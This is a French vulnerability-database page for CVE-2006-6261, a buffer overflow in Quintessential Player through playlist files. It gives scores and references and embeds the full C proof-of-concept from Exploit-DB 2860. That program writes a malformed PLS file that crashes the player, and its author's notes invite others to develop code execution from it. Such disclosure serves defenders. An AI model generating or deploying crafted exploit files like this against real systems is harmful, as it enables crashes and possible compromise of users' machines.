CVE-2006-6261 : Détail

CVE-2006-6261

2.76%V3
Network
2006-12-04
10h00 +00:00
2017-10-18
14h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Buffer overflow in Quintessential Player 4.50.1.82 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted (1) M3u or (2) M3u-8 file; or a (3) crafted PLS file with a long value in the (a) NumberofEntries, (b) Length (aka Length1), (c) Filename (aka File1), (d) Title (aka Title1) field, or other unspecified fields.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 2860

Date de publication : 2006-11-27 23h00 +00:00
Auteur : Greg Linares
EDB Vérifié : Yes

/* 0-day Quintessential Player <= 4.50.1.82 Playlist Denial Of Service PoC ======================================================================== ======================================================================== Quintessential Player 4.50.1.82 and lower experiance a memory corruption when attempting to parse out malformed Playlist files. This possibly could lead to execution of code. Here is the proof of concept in PLS format. Note: M3u and M3u-8 are also affected by this problem. EIP gets replaced by semi random values in the memory corruption here are my experiances: [Buffer = 1028 A's] Buffer + X EIP = 0x009efe5a Buffer + X EIP = 0x00f6eb81 2nd run Buffer + AAAA EIP = 0x009efde2 Buffer + AAAA EIP = 0x009efdb3 2nd run Buffer + AAAA EIP = 0x009efdb6 3rd run Buffer + AAAABBBB EIP = 0x009efdea (Using the NumberOfEntries made it more consistant) Buffer + AAAA EIP = 0x00e13fd6 for 3 times until Buffer + AAAA EIP = 0x00e13fda If someone can figure out how to control EIP and cause this to become a buffer overflow exploit, this can be exploited just like the XMPlayer Buffer Overflow issue or the old Winamp UNC overflow. if you figure it out, just credit me with my email somewhere in the code, ill be more than happy :) Happy Hunting and Happy Holidays to everyone November 2006 Month Of Greg's Media Player Exploits :) Discovered and Reported By: Greg Linares GLinares.code@gmail.com Reported Exploit Date: 11/28/2006 */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { FILE *Exploit; char buffer[1032]; /* Corruption Occurs after 1028 bytes */ int x; printf("\n======================================================================\n"); printf("0-day Quintessential Player 4.50.1.82 and prior Playlist Denial Of Service PoC \n"); printf("Crashes Quintessential Player with a malformed playlist on load.\n"); printf("Discovered and Coded By: Greg Linares <GLinares.code[at]gmail[dot]com>\n"); printf("Usage: %s <output PLS file>\n", argv[0]); printf("====================================================================\n\n\n"); if (argc < 2) { printf("Invalid Number Of Arguments\n"); return 1; } Exploit = fopen(argv[1],"w"); if ( !Exploit ) { printf("\nCouldn't Open File!"); return 1; } memset(buffer, 0, 1030); for (x=0;x<1030;x++) { strcat(buffer, "A"); } /* Any field can be modified to cause the memory corruption NumberofEntries, Length, Filename, Title etc. */ fputs("[playlist]\r\nVersion=2\r\nNumberOfEntries=1", Exploit); fputs("\r\nFile1=", Exploit); fputs(buffer, Exploit); fputs("\r\nTitle1=0-day_Quintessential_Player_4.50.1.82_and_prior_Playlist_Denial_Of_Service_PoC_By_Greg_Linares\r\n", Exploit); fputs("Length1=512", Exploit); printf("Exploit Succeeded...\n Output File: %s\n\n", argv[1]); printf("Questions, Comments, Feedback --> Greg Linares (GLinares.code[at]gmail[dot]com)\n"); fclose(Exploit); return 0; } // milw0rm.com [2006-11-28]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_95 >> Version *

Microsoft>>Windows_98 >> Version *

Microsoft>>Windows_me >> Version *

Microsoft>>Windows_nt >> Version 4.0

Microsoft>>Windows_xp >> Version *

Quinnware>>Quintessential_player >> Version To (including) 4.50.1.82

    Références

    https://www.exploit-db.com/exploits/2860
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/21331
    Tags : vdb-entry, x_refsource_BID